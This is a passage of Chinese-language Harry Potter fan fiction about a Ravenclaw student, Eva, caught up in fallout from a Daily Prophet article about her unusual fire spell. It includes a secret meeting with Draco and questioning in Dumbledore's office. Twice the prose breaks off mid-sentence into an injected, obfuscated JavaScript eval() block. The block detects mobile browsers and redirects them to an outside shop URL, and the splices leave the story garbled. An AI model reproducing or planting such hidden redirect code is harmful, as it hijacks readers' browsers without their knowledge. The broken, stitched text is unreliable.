她也开始阅读哈利送的那本《不列颠及爱尔兰安神类魔法植物图鉴》。书页间那些折角和铅笔标注清晰可见——月见草(“弗立维教授提过”)、缬草根(“温室东区第三排”)、甘菊(“常见,易种植”)。哈利的字迹比平时工整,每个标注都简洁务实。她按图索骥,在温室散步时认出了几种植物,斯普劳特教授还特意剪了几枝甘菊让她带回寝室:“泡茶喝,安神。” 至于那套匿名的羽毛笔,她收在书桌最底层的抽屉里,和“恒久之蓝”墨水放在一起。偶尔取出一支使用——秘银笔尖在羊皮纸上滑过的触感确实无可挑剔,流畅得像融化的丝绸。但她用的不多,更多时候还是握着爷爷留下的那支紫竹笔。笔杆光滑微凉,触感熟悉得像老朋友的手。 圣诞节后第五天,傍晚时分,Eva独自坐在拉文克劳公共休息室的窗边。 窗外,暮色正在降临。苏格兰高地的冬日白昼短暂得像一声叹息,下午四点刚过,天色就开始转为深沉的灰蓝。庭院里的雪雕大多已经融化变形——曼蒂的猫头鹰翅膀塌了一边,帕德玛的微缩塔楼只剩模糊的轮廓,那只巨大的赫奇帕奇獾也缩水成了臃肿的雪堆。 只有那只雪鹰还倔强地立着。 翅膀上的积雪薄了许多,边缘变得圆润,头顶的松枝桂冠歪斜得快要掉下来。但在暮色中,它黑色的火山岩眼睛依旧反射着最后一点天光,执拗得像在守望什么永远不会到来的东西。 Eva看着它,指尖无意识地摩挲着紫竹笔光滑的笔杆。 “它会融化的。”帕德玛的声音从身后传来。她抱着一本《中级变形术》在旁边的扶手椅坐下,“所有雪雕都会。” “嗯。”Eva点头,“但至少现在还在。” “就像有些事情。”帕德玛轻声说,翻开书页,“即使知道会结束,过程本身也有意义。” 这话说得有些深,但Eva听懂了。她想起那晚的火焰咒,想起经脉的撕裂感,想起医疗翼里漫长的恢复——痛苦,但有必要。至少哈利他们活下来了,至少真相开始浮现。 “你在看什么?”她问帕德玛。 “下学期变形术的预习。”帕德玛将书摊开,指着一章关于“部分变形稳定性”的内容,“麦格教授说三年级下半学期会开始接触动物变形的基础理论。我在想……” 她顿了顿,声音压得更低:“如果一个人能完全变成动物——比如阿尼马格斯——那么部分变形失败会是什么样子?会不会留下……永久的特征?” 这个问题问得很学术,但在当下的语境里,指向性太明显了。彼得·佩迪鲁,小矮星彼得,那个伪装成老鼠十二年的阿尼马格斯。 “理论上会。”Eva平静地回答,目光落在书页的示意图上,“如果变形不完全或强行维持,可能造成魔力回路紊乱,甚至生理特征残留。但具体案例……很少见。” “因为阿尼马格斯本身就很罕见。”帕德玛合上书,“更何况是非法的、隐藏这么多年的。” 两人之间陷入短暂的沉默。壁炉里的火噼啪作响,将暖橘色的光影投在深蓝色的地毯上。 假期第三周时,哈利的猫头鹰海德薇带来的两封信。 一封信封是普通的霍格沃茨羊皮纸,但字迹是哈利·波特有些潦草却努力写工整的。Eva拆开,信不长,但能看出是分两次写的: “Eva,希望这封信能在圣诞前到。我和罗恩、赫敏已经到陋居了。这边……事情很多。布莱克的律师几乎每天都来,我们要准备证词,还要去圣芒戈。赫敏说她给你寄了法律书,希望有用。我们一直很担心你的情况,昨天罗恩还嘀咕不知道你好点没。能收到你平安的消息,对我们来说很重要。” “我去圣芒戈看小天狼星了。他看起来还是很瘦,但精神好多了。我跟他说了那晚的事……所有的事。他说,他欠你一个天大的人情——原话是‘一条命的人情,或许不止一条’。他说,等这一切结束,等他自由了,如果你愿意,等你完全好了,他想请你吃顿便饭,或者至少当面道个谢。他说你做的事,很多人都做不到。” (下面这行字写得比前面快一些,像是想赶紧说完) “不过那都是以后的事了。你现在最重要的就是听庞弗雷夫人的话,好好休息。” “说实话,有时候我觉得这一切还是不真实。小天狼星真的可能无罪,彼得真的还活着……还有你,为了我们受了那么重的伤。我不知道该怎么……嗯,总之,谢谢你。好好休息,别学赫敏熬夜。期待新学期见面。 哈利” 还有一封是赫敏的。 这时帕德玛从公共休息室回来,看到在窗台等待的海德薇,“哈利的信?” “嗯,还有赫敏的”。 Eva把信打开,看了一会,突然说,“她说布莱克案的正式听证会定在一月十五日,威森加摩已经组成特别法庭。” 一月十五日。还有不到两周。 “她会去作证吗?”帕德玛问。 “她和哈利、罗恩都会去。”Eva点头,将信收好,“作为第一目击者和……关键证人。赫敏说魔法部本来想传唤所有在场学生,但邓布利多教授争取到了限制——只传唤直接涉及核心事件的人。” 这意味着她不会被传唤。至少暂时不会。 她应该感到轻松,但心里某个角落却泛起一丝说不清的情绪——是庆幸,还是某种被排除在外的窒闷感。 赫敏的信里还提到,彼得的阿尼马格斯形态经过检查,确实存在“长期维持导致的魔力回路固化和部分生理特征残留”。威森加摩的专家正在评估,这能否作为他“长期伪装、蓄意隐匿”的证据。 证据。法律需要证据,真相需要证据。而她的证词——关于那晚的火焰咒,关于咒语的“异常特征”——也可能成为某种证据,只是性质不同。 “Eva。”帕德玛看着她,棕色的眼睛里有关切,也有拉文克劳式的审慎,“如果你需要……我是说,如果需要讨论法律程序或者……别的什么,我随时在。” “谢谢。”Eva轻声说,“我会记住。” 窗外,最后一点天光消失了。家养小精灵们点燃了庭院里的魔法灯柱,柔和的光晕在积雪上投下温暖的光圈。雪鹰立在光晕边缘,一半在明,一半在暗,像站在某个看不见的边界上。 晚餐时,留校的学生们依旧聚集在合并的长桌旁。人数比圣诞当天更少了——几个赫奇帕奇学生提前回家过新年,斯莱特林那边也空了两个位置。 德拉科·马尔福独自坐在长桌末端,面前的食物几乎没动。他穿着一身银绿色的校袍,领口别着马尔福家徽的银质胸针,脸色在烛光下苍白得近乎透明,但那苍白中透着惯有的、被仔细维护的傲慢。布雷司·扎比尼和西奥多·诺特坐在稍远些的位置,正低声讨论着什么,偶尔朝马尔福的方向瞥一眼。 Eva注意到,马尔福的手指在桌面上无意识地敲击着——不是杂乱的节奏,而是某种熟悉的、近乎刻板的节拍。他的目光几次扫过礼堂入口,像是在确认费尔奇的位置,或者别的什么。 “《预言家日报》今天早上的头条,你们看到了吗?”帕德玛低声问。 Eva摇头。她今天没去猫头鹰棚屋。 “《马尔福家族与布莱克案:未公开的财务往来》。”帕德玛的声音压得很低,“文章不长,但暗示卢修斯·马尔福先生在布莱克入狱前后,通过某些‘复杂的金融操作’转移过资产。虽然没有直接指控,但……” 但足够了。在魔法界,暗示往往比指控更致命。 “还有上次秋不是说扎比尼最近总在查国际魔法法吗……”帕德玛的声音压得很低,“扎比尼家好像也有类似业务——我爸爸提过,扎比尼夫人经营的‘国际咨询’公司,经常处理跨国界的魔法资产和法律纠纷。” Eva看向斯莱特林那边。马尔福显然已经看到了那篇文章——他紧绷的下颌线和刻意维持的冷漠姿态说明了一切。父亲的名誉,家族的立场,还有那些“未公开的财务往来”……所有这些,都是马尔福必须背负的重量。还有扎比尼上次的巧合…… 她想起父亲信里冰冷的告诫:“记住你是谁。记住你背后代表什么。”马尔福大概也听过类似的话,无数次。 晚餐后,Eva决定去一趟图书馆。不是写信——那可以在公共休息室完成——而是去归还几本已经到期的参考书。 平斯夫人看到她时,推了推眼镜:“还有四十分钟闭馆,张小姐。” “我来还书。”Eva将几本关于魔法植物分类和法律基础的书放在柜台上。 平斯夫人检查了书脊上的标签,点了点头,魔杖轻挥,书自动飞向相应的书架。“恢复得不错?” “好多了,谢谢夫人。” 她在靠窗的老位置坐下,从书包里抽出要给爷爷回的信纸和紫竹笔。图书馆的寂静很适合专注,而她确实需要整理思绪。 笔尖蘸墨,落在淡青色的信纸上。爷爷的叮嘱在脑海里回响,她开始书写那些克制的、只陈述事实的文字。关于恢复,关于温室,关于学业。不流露情绪,不提及外界的纷扰——这是爷爷教她的。 信写到一半时,隔壁书架传来轻微的响动。 是德拉科·马尔福。 他站在法律类书架前,手里拿着一本《威森加摩审判程序简编》,眉头紧锁,像是在查找什么。深色的校袍在昏暗的光线下几乎融入阴影,只有领口的银质家徽反射着远处壁灯的一点微光。 他的姿态没有任何“自苦”的成分——背脊挺直得近乎刻意,那是从小训练的礼仪;眉头紧锁是因为在查阅枯燥的法律条文;手指在书脊上快速划过,动作带着马尔福式的效率和不耐烦。 他似乎没有注意到她,或者说,刻意忽略了她的存在。但他的目光在书架上扫视时,几次掠过她的方向,又迅速移开。 Eva没有停留,将未写完的信收好,起身准备离开。在经过他身边时,脚步没有任何停顿。 但就在她即将走过时,马尔福忽然低声开口,声音冷硬,像是自言自语,却又足够清晰: “《预言家日报》明天有篇文章。关于‘异常魔法现象’。” Eva的脚步几不可察地顿了一下。她没有回头,但听见马尔福继续说,声音压得更低: “储藏室。九点半。如果你想知道细节的话。” 说完,他像是完成了什么令人不快的任务,将书粗暴地塞回书架,转身朝另一个方向走去。袍角在转身时带起一阵冷风。 整个过程不到五秒。 Eva继续走向出口,脚步声在空旷的图书馆里清晰可闻。她能感觉到背后那道目光——冰冷,审视,带着马尔福特有的那种居高临下的姿态。但她没有回头。 平斯夫人在柜台后抬头看了她一眼,又看了看马尔福离开的方向,推了推眼镜,没说什么。 回到拉文克劳塔楼时,公共休息室里只有几个七年级学生还在熬夜复习。壁炉的火已经调小,暖意依旧。 帕德玛和曼蒂已经回寝室了。Eva在窗边坐下,继续写完给爷爷的信。字迹工整,语气克制,像一道无声的堤坝,拦住心底那些翻涌的思绪。 写完信,她看了一眼时钟——八点四十五。 还有四十五分钟。 储藏室。那个圣诞前夜他们短暂停留过的地方。马尔福选择那里,大概是因为相对隐蔽,且两人都知道位置。 她需要去吗? 如果真的是关于那篇文章,关于咒语的“异常特征”,关于可能的法律后果……她需要知道。不是为了辩解,只是为了了解自己面对的是什么。 但如果这是某种陷阱呢?宵禁后独自前往,如果被费尔奇抓到…… 她想起马尔福那副惯有的、讥诮而傲慢的表情。他不是那种会设下幼稚陷阱的人——太掉价了。如果他想害她,会有更“马尔福”的方式。 那么,大概是真的有事要说。 九点二十分,Eva穿上深蓝色的校袍,将魔杖插进袖口的暗袋。她看了一眼镜子——脸色比前几天红润了些,但眼神依旧沉静。她深吸一口气,推开寝室门。 公共休息室里已经空无一人。她轻手巧脚地走向出口,青铜鹰门环今晚的问题是:“何物最轻,却能承载最重的秘密?” 她沉默了几秒,轻声答:“承诺。” 门应声而开。 走廊里一片寂静,只有墙壁上火把噼啪燃烧的声响。宵禁已经开始,费尔奇大概在别的楼层巡逻。她快步走着,脚步轻得像猫,深蓝色的袍角在昏暗的光线中几乎融入阴影。 从拉文克劳塔楼到那条僻静回廊需要经过主楼梯和几条长廊。她选择了一条相对安全的路线——经过图书馆所在的四楼,从西侧楼梯下行。这条路平时人少,宵禁后更不太可能遇到巡逻。 就在她走到三楼与二楼的转角时,前方传来轻微的脚步声。 不是费尔奇沉重的拖沓声,也不是洛丽丝夫人轻巧的猫步。是学生的脚步声——刻意放轻,但依旧清晰。 Eva迅速闪身躲进旁边一幅巨型挂毯后的凹槽里。挂毯描绘着中世纪的一场魔法决斗,厚重得足以遮蔽身形。 脚步声越来越近,在转角处停顿了一下,然后继续向下。 透过挂毯的缝隙,Eva瞥见了一抹银绿色的袍角——只一瞬,就消失在楼梯下方。 是他。 她等了十秒,确认没有其他动静,才从藏身处出来,继续向下。 那条僻静回廊在城堡西侧二楼,平时很少人走。储藏室就在回廊尽头,一幅描绘狩猎场景的挂毯后面。 Eva走到挂毯前,低声念出口令——上次马尔福用过,她记住了。石墙无声滑开,露出后面狭小的空间。 马尔福已经在那里了。 他站在储藏室中央,背对着门,听到动静才转过身。银绿色的校袍在昏暗的魔法灯下泛着冷光,脸上的表情是惯有的那种混合着傲慢和不耐烦的冷漠。 “你迟到了两分钟。”他开口,声音冷硬。 “我绕了路。”Eva平静地说,走进储藏室。门在她身后无声关上。 马尔福迅速施了几个隔音咒和防护咒——动作比上次熟练了些,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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马尔福的下颌线绷紧了。“马尔福家现在的麻烦已经够多了……但如果你的‘异常魔法’被公开调查,如果那晚的事被重新翻出来……我会被再次卷入。而我父亲——” 他没有说完,但意思很清楚。卢修斯·马尔福正在被调查,任何额外的“关联”都可能成为压垮骆驼的最后一根稻草。 “你想让我怎么做?”Eva问。 马尔福盯着她看了几秒,灰蓝色的眼睛里闪过一丝复杂的算计——不是善意,不是关切,是纯粹的、马尔福式的利益权衡。 “听证会。”他说,“布莱克案的听证会,一月十五日。如果你被传唤作证——即使现在没有,文章出来后也可能——你需要谨慎陈述。” “怎么谨慎?” “只陈述事实。不要解释咒语的原理,不要提及任何‘东方’、‘异域’之类的词。就说那是火焰熊熊,你当时太紧张,效果出了偏差。”他的语速越来越快,像在背诵一份精心准备的方案,“如果被问到为什么能挡住狼人,就说你不知道,可能是运气,可能是狼人怕火——随便什么,但不能是你‘会什么特别的魔法’。” 他在教她规避风险。用最安全、最不会引起额外注意的方式。 “如果魔法部坚持要调查呢?”Eva问。 “那就让他们调查。”马尔福的声音里带着惯有的、对官僚体系的不屑,“霍格沃茨有责任保护学生,邓布利多不会允许他们过度追问。只要你不主动提供‘异常’的细节,他们很难找到实质证据。” 他停顿了一下,补充道:“而且,你父亲是外交官。魔法部国际合作司会考虑外交因素。他们不会想因为一个学生的咒语‘变异’,就引发不必要的国际关注。” 这话说得很现实,也很准确。父亲的信里反复强调的“低调”、“谨慎”、“不引发关注”,和马尔福的建议不谋而合。 “文章什么时候登?”Eva问。 “明天早上的《预言家日报》。”马尔福说,“我父亲有消息渠道。”他的声音里透着一股事不关己的冷硬,仿佛在转述一项令人不快的家务。 所以他才提前知道。所以他今晚必须来告诉她——不是为了帮她,是为了切断可能的“关联”。 “我知道了。”Eva轻声说。 马尔福盯着她看了几秒,像是在评估她是否真的听懂了。然后他从袍子内侧口袋掏出一张折叠的纸,没有扔,而是递过来——动作依旧带着马尔福式的、居高临下的施舍感。 “校样。你可以看看。” Eva接过,展开。是《预言家日报》的校样纸,只印了一面,墨迹已经干了。标题刺眼,内容如他所言。她快速浏览,然后折好,塞进袍子口袋。 “谢谢。”她说。 这个词让马尔福的表情再次僵硬。他像是被什么不干净的东西碰到般迅速移开视线。 “我不是在帮你。”他的声音冷硬,“我只是不想被牵扯进去。” “我知道。”Eva点头,“但还是谢谢你告诉我。” 两人之间陷入短暂的沉默。储藏室里的魔法灯噼啪响了一声,光线摇曳了一瞬。 马尔福忽然开口,声音比刚才低了些,像是随口一提:“那套笔……还行吧?” 话题转得很突兀,但Eva听懂了。 “很好用。”她平静地回答,“配方很好用……你可以试试。” 马尔福的下颌线微微绷紧,没有接话。他撤去防护咒和隔音咒,看了一眼墙上的钟——九点五十。 “费尔奇大概在四楼。”他说,语气恢复了惯有的、带着讥诮的冷漠,“西侧楼梯现在安全。别被抓住,我可不想明天又多一条‘宵禁后私会’的传闻。” 最后那句话说得刻薄,但也是在提醒她路线和时间。 Eva点了点头,没有说更多。她走到门边,石墙无声滑开。在她即将离开时,身后传来马尔福最后一句,声音很低: “另外,离那些……好奇心太重的人远点。他们的问题,往往比答案更麻烦。” 然后门在她身后合拢,隔绝了所有声音。 走廊里依旧寂静。Eva按照马尔福说的路线,从西侧楼梯返回拉文克劳塔楼。脚步很轻,心跳平稳,但脑子里却在飞速运转。 文章明天就会登出。质疑,审视,可能的调查……所有这些都会接踵而至。她需要准备,但更重要的是——她需要决定自己的立场。 爷爷说“守心为上”。爸爸说“低调谨慎”。马尔福说“只陈述事实”。 而她自己……在尖叫棚屋那晚,她选择了施咒。那是基于本能的决定,没有时间权衡利弊。但现在,在事后的寂静里,她必须为那个决定承担后果。 回到拉文克劳塔楼时,正好十点。公共休息室里已经空无一人。她走到窗边,望着窗外飘落的雪。 庭院里,那只雪鹰在夜色中只剩下模糊的轮廓,像是随时会融化在黑暗里。但它还立着,倔强地,沉默地。 就像有些事情,即使知道代价沉重,也必须去做。 Eva从袍子口袋里掏出那张校样纸,又仔细看了一遍。每一个字都像针,扎在心上,但也让她更清醒。 她不需要“写一份陈述”——麦格教授已经要求过,她也交过了。那篇陈述客观简洁,符合“官方视角”。现在,她需要做的不是重复,而是坚持。 坚持那个版本。不解释,不补充,不提供任何可能被解读为“异常”的细节。 如果被追问,就说不知道。如果被施压,就请邓布利多介入。 这是最安全的选择。也是最……明智的选择。 但她心里某个角落,却泛起一丝细微的窒闷。那是知道自己选择了最稳妥、最符合所有人期望的道路后,一种近乎失重的空荡感。 她将那篇校样纸用魔法烧掉——蓝色的火焰,正常的火焰,在掌心安静地燃烧,直到化为灰烬。然后她推开窗户,让灰烬随风散去,融入夜色。 窗外,雪还在下。苏格兰高地的冬夜漫长而深沉,但晨光终会到来。而在那之前,所有的秘密、抉择和未解的轨迹,都将在寂静中等待,等待被雪覆盖,或者,被光唤醒。 89.雪下暗流 第二天清晨,《预言家日报》如约而至。 猫头鹰群涌入早餐礼堂时,空气中那种节假日的慵懒瞬间被某种紧绷取代。雪白的、印着魔法照片的报纸像一片片不祥的预言,精准地落入每个留校学生的手中。 Eva低头看着自己那份。 头版标题刺眼得像一道鞭痕:《霍格沃茨再起波澜:异常魔法现象引关注》。副标题更小,但字字清晰:“尖叫棚屋事件后续,专家呼吁加强教学监督与跨体系魔法适应性评估”。 她快速浏览正文。文章避开了具体人名,但描述足够精准——“三年级拉文克劳女生”、“月圆之夜”、“阻挡狼人的暗红色火焰”、“燃烧方式违背基础魔法原理”。每句话都像精心打磨的冰锥,看似客观陈述,实则处处埋着质疑的引线。 最后一段果然提到了马尔福:“当晚在场学生中包括德拉科·马尔福——其父卢修斯·马尔福正因与布莱克案的财务往来接受调查。这是巧合,还是某种尚未揭示的关联?” Eva将报纸对折,塞进书包。动作平稳得像在收起一份普通的课后作业。 “梅林啊!”曼蒂的声音从旁边传来,她正瞪大眼睛盯着自己的那份,“这说的不就是……” 帕德玛迅速碰了碰她的手肘,压低声音:“曼蒂。” 曼蒂立刻闭嘴,但眼睛还在Eva和报纸之间来回扫视,脸上写满了不安。 拉文克劳长桌这边的低语声明显比平时更密。Eva能感觉到数道目光——同年级的迈克尔·科纳和朋友们正指着报纸低声说着什么,五年级的级长候选人安东尼·戈德斯坦独自研读文章,羽毛笔在边缘快速记录,而稍远处的泰瑞·布特在与朋友交谈中偶尔瞥来一眼,又迅速移开。圣诞舞会那晚的几次邀请,让这些注视里多了一丝难以言明的微妙。 “文章里的‘专家’是谁?”帕德玛轻声问,目光扫过文章末尾那个模糊的署名——“本报特邀评论员”。 “不知道。”Eva小口喝着南瓜汁,“但肯定不是霍格沃茨的教授。” 斯莱特林那边,气氛更加微妙。 德拉科·马尔福独自坐在长桌中部,面前摊开着那份报纸。他的脸色是一种缺乏休息的灰白,眼下有淡淡的阴影——这显然不能完全归咎于文章提及的“关联”。他的手指无意识地在光滑的桌面上敲击着一种刻板的、训练礼仪时用的节拍,但眼神却有些失焦,仿佛视线穿透了报纸上的文字,落在了某个更遥远、更令人烦躁的虚像上。下颌线绷得像是随时会断裂,当几个低年级斯莱特林投来探究目光时,他猛地抬起眼皮,灰蓝色的眼睛里结着一层冰。那股莫名的烦躁又涌上来——一定是这该死的报纸,还有这礼堂浑浊的空气。 布雷司·扎比尼坐在稍远的位置,慢条斯理地切开烤香肠。他的目光在马尔福和拉文克劳方向之间短暂游移,嘴角挂着一抹若有所思的弧度,但什么也没说。 西奥多·诺特安静地翻着自己的报纸,仿佛头版文章与他毫无关系。 早餐在一种压抑的寂静中结束。留校的学生们陆续离开礼堂,脚步声在空旷的门厅里荡起沉闷的回响。 Eva和帕德玛、曼蒂一起走向温室——今天庞弗雷夫人允许的户外活动时间照旧。经过门厅时,她们碰到了刚从猫头鹰棚屋回来的秋·张。 秋的脸色有些凝重。看到Eva,她快步走过来,声音压得很低:“你看到报纸了?” Eva点头。 “塞德里克今天早上跟我提了一句。”秋的语速很快,但没有透露具体来源,“他说魔法部内部有些关于‘跨国教育适应性’的讨论,但他觉得只是例行公事的议题。他让我别担心太多。” 她顿了顿,棕色的眼睛里有关切,也有拉文克劳式的审慎:“不过我觉得你还是该知道——既然文章已经出来了,总有人会盯着这个方向。” 这和马尔福的警告隐隐呼应。 “谢谢你,秋。”Eva轻声说。 秋点了点头,没再多说,转身走向拉文克劳塔楼的方向。 温室里温暖如春,她下意识地摸了摸玉佩,温润的玉石表面平静如常。 “你怎么了?”帕德玛注意到她的动作。 “没什么。”Eva放下手,“可能有点累。” 她们在斯普劳特教授的指导下给几株耐寒的草药松土。工作简单重复,Eva的思绪却在那些字句间游走——“异常”、“跨体系”、“适应性评估”…… 爷爷的叮嘱在耳边回响:“守心为上。”父亲的警告沉甸甸压在心头:“低调、谨慎、不引发关注。” 而她自己,在尖叫棚屋那晚选择了施咒。那是本能的决定,现在必须承担后果。 午后的阳光斜斜照进温室。Eva蹲在一盆白鲜旁,小心地松动板结的土壤。指尖传来泥土湿润的触感,带着生命特有的、顽固的生机。 就在这时,温室的门被推开了。 西弗勒斯·斯内普站在门口,黑袍像一片凝固的夜色。他的目光在温室里扫视一圈,最后定格在Eva身上。 “张小姐。”他的声音像磨过的刀刃,“校长室。现在。” 空气瞬间凝固了。 曼蒂手中的铲子“哐当”一声掉在地上。帕德玛猛地抬头,脸色发白。斯普劳特教授皱起眉头,放下手中的喷壶:“西弗勒斯,这是什么意思?张小姐还在恢复期——” “邓布利多的要求。”斯内普打断她,黑眼睛里没有任何温度,“麦格教授也在。” Eva站起身,拍掉手上的泥土。动作平稳,但能感觉到胸前药囊的温热变得更加清晰——不是预警,更像是一种无声的陪伴。 “需要我陪你吗?”帕德玛轻声问。 “不用。”Eva摇头,“你们继续。” 她跟着斯内普走出温室。苏格兰高地冬日的阳光明亮却冰冷,照在积雪上反射出刺眼的白光。从温室到城堡主楼的路上,两人一前一后,脚步声在雪地上留下清晰的痕迹。 斯内普的步伐很快,黑袍在身后翻涌。他没有回头,也没有说话,但Eva能感觉到那道冰冷的、审视的目光时不时落在她背上——不是关切,是评估,像在检查一件可能出问题的魔药材料。 城堡门厅里空无一人。斯内普径直走向那座巨大的石兽雕像,低声念出口令。石兽跳开,露出后面旋转上升的楼梯。 校长室里温暖明亮,但气氛凝重。 阿不思·邓布利多坐在宽大的办公桌后,半月形眼镜后的蓝眼睛温和却锐利。米勒娃·麦格站在窗边,脸色严肃得像要上战场。壁炉里火焰安静地燃烧,墙上那些前任校长的肖像都醒着,用一种混合着好奇和审视的目光看着走进来的女孩。 “下午好,张小姐。”邓布利多的声音平静,“请坐。” Eva在那把面对办公桌的椅子上坐下,背脊挺直。斯内普站到一旁,黑袍与阴影融为一体。 “我们看到了今天的《预言家日报》。”邓布利多开门见山,语气依旧温和,“文章里的一些描述……引发了一些讨论。” 麦格教授紧抿着嘴唇,手指无意识地摩挲着魔杖杖身。 “我需要了解你的看法,张小姐。”邓布利多继续说,“关于那晚发生的事,以及……你施展的那个咒语。” 问题来了。 Eva感到掌心渗出细密的冷汗,但心跳反而奇异地平稳下来。在走进这间办公室前,她已无数次预演过这一刻。爷爷的“守中持正”、父亲的“低调谨慎”、马尔福那带着利益算计的“只陈述事实”、还有她自己对平静生活的渴望——所有这些线头,在此刻被她冷静地捻成一股。 她不需要编造谎言,只需要坚守那个最简单、最无从深究的版本。这不仅是妥协,更是她在当下复杂局势中,所能找到的、最能保护自己核心秘密与生活平稳的唯一路径。 她深吸一口气,抬起眼,目光清澈而平静:“我看到狼人扑向哈利他们,就施了火焰熊熊想挡住它。当时很紧张,咒语的效果和平时练习时不太一样。”” “具体哪里不一样?”斯内普的声音插进来,冷得像冰。 “颜色暗一些。”Eva如实回答,“而且……它没有像普通的火焰那样扩散,只是贴着地面燃烧。我不清楚为什么会这样。” 斯内普的黑眼睛眯了起来:“一个三年级学生,在紧张状态下,施展出如此……特定的魔法变异——而你‘不清楚原因’?” “西弗勒斯。”麦格教授的声音带着警告。 但斯内普没有理会:“张小姐,你祖父——那位东方修行者——去年在霍格沃茨期间,曾与邓布利多校长有过深入交流。”他的目光转向校长,“我相信那些谈话内容,或许能解释一些……异常。” “张老先生是一位极富智慧的长者。”邓布利多双手指尖相对,半月形眼镜后的蓝眼睛温和而深邃,“我们曾深入探讨过不同魔法体系共存的意义。他尤其强调‘守中持正’、‘根基稳固’之道——守护本心,不偏不倚。这听起来,与我们所倡导的‘勇气’、‘忠诚’虽表述不同,其核心却都是对‘正道’的坚守。” 他稍稍停顿,目光扫过斯内普,又落回Eva身上,语气里多了一份属于校长的郑重与一丝不易察觉的锐利:“霍格沃茨的城堡千百年来见证过无数形式的魔法光辉,其力量根源之一,正在于对不同传承的包容与引导。我们珍视每一种合乎正道、源于善念的魔法表达——只要它被用于保护生命、对抗不义。” 他转向斯内普,仿佛在继续一场更久远的讨论:“西弗勒斯,你我都清楚,《预言家日报》近期的某些文章,其意图往往不在于陈述事实,而在于营造某种……氛围,以推动他们想要的议程。将学生的勇敢之举简化为需要被审视的‘异常’,不仅是对个体的不公,更是对霍格沃茨教育理念的曲解。” 这是在为她背书,但不止于此——更是在陈述霍格沃茨的立场,以及校长与一位东方长者之间的相互理解与尊重。 Eva感到掌心渗出细密的冷汗,但心里某个角落却微微松动——原来爷爷和邓布利多教授真的谈过这些。 “那么那晚的火焰——”斯内普的声音依旧冰冷。 “因此,那晚的火焰,在我看来,首先是‘保护’的意志显化。”邓布利多平静地接话,“保护同学,保护自己。在那种极端情境下,任何巫师都可能施展出超越平时的魔法。这不是‘异常’,而是人类——包括巫师——在危急关头的潜能体现。” 他看着斯内普,蓝眼睛里闪过一丝难以解读的情绪:“我记得,西弗勒斯,你在学生时代也曾有过类似的……超越预期的表现——在需要守护某些重要之物的时候。” 斯内普的下颌线骤然绷紧,黑袍下的肩膀几不可察地僵了一下。他没有接话,只是冷冷地盯着壁炉里的火焰。 校长室里陷入短暂的沉默。肖像们交换着意味深长的眼神。 麦格教授终于开口,声音比刚才缓和了些:“我们已经联系了《预言家日报》编辑部。他们会刊登一则澄清声明——强调那晚所有学生的勇敢,并将重点放在布莱克案的重审进展上。” 她看向Eva:“但这需要你的配合,张小姐。在未来任何可能被问及的场合,你只需要坚持最简洁的说法:那是火焰熊熊,你在紧张状态下施放,目的是保护同学。不提细节,不解释原理。” 和马尔福的建议一模一样。和爷爷教她的“守中持正”也不谋而合。 “我明白,教授。”Eva点头。 “很好。”邓布利多微微颔首,“另外,关于你额外的魔药材料处理工作。”他看了一眼斯内普,“鉴于张小姐目前仍在恢复期,庞弗雷夫人建议推迟到新学期开始后,视身体状况再定。你认为呢,西弗勒斯?” 斯内普的黑眼睛里闪过一丝极快的不满——那不仅是对推迟安排的不满,更像是对邓布利多这种明显保护姿态的抗拒。但他最终只是冰冷地点头:“可以。” “那么就这样决定了。”邓布利多站起身,这是一个结束谈话的信号,“张小姐,你可以回去了。记住——安心休养,专注恢复。霍格沃茨会处理好外界的声音。” Eva站起身,向教授们行礼,转身离开校长室。旋转楼梯缓缓下降,将那片温暖却复杂的空气留在身后。 走廊里依旧空旷。她沿着来时的路返回温室,脚步声在石壁上荡起轻微的回响。胸前药囊的温热渐渐平息,恢复成那种温润的、持续的暖意。 但邓布利多最后那句话在耳边萦绕——“霍格沃茨会处理好外界的声音”。 处理。怎样处理?用什么方式?文章已经登出来了,质疑的种子已经播下。声明能消除疑虑吗?还是只会引发更多好奇? 回到温室时,曼蒂立刻冲过来:“怎么样?教授们说什么了?” “只是确认情况。”Eva平静地说,“邓布利多教授会处理。” 帕德玛仔细看了看她的脸,确认没有异样,才松了口气:“那就好。” 下午剩下的时间在平静中度过。她们完成了松土工作,斯普劳特教授给了每人一小包自制的草药茶作为奖励:“安神的,睡前喝。” 傍晚返回拉文克劳塔楼时,庭院里的雪又开始下了。细密的雪花在暮色中无声飘落,将那只雪鹰渐渐覆盖成模糊的白色轮廓。 晚餐时,《预言家日报》的文章依然是话题中心。但议论的声音出现了微妙的分化——一部分学生接受了“应激反应”的说法,另一部分则低声猜测着文章背后的“真正用意”。 “我爸爸说,《预言家日报》最近经常刊登这种含沙射影的文章。”一个赫奇帕奇五年级生对同桌的朋友低声说,“好像是在给魔法部施压,推动什么新法案。” “什么法案?” “不知道。但肯定跟‘安全’、‘监管’之类的有关。” Eva安静地吃着盘子里的清蒸鱼肉。她能感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091037|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉到那些目光——来自拉文克劳内部,来自赫奇帕奇,甚至来自斯莱特林。 在她斜对面,迈克尔·科纳正与朋友低声争论,声音因认真而忘了控制:“……关键不是火焰颜色,而是第47条的适用前提!它明确要求‘系统性、持续性的非常规教学’,单次事件根本构不成——” 他的朋友,一个戴着厚眼镜的男生,指着报纸反驳:“但注释三提到‘包含潜在公共风险的特例可启动初步评估’,这给了他们操作空间……” 科纳激动地比划着:“那是滥用条款!如果一次保护同学的施法都能被套上‘潜在风险’的帽子,那盔甲护身咒是不是也该被审查?因为理论上它也可能被用来——” 他突然意识到声音太大,猛地住口,脸颊涨红,慌乱地拿起南瓜汁杯。当发现Eva的目光恰好扫过时,他整个人僵了一下,随即埋头对付盘子里的土豆,仿佛那堆土豆泥里藏着如尼文的终极答案。 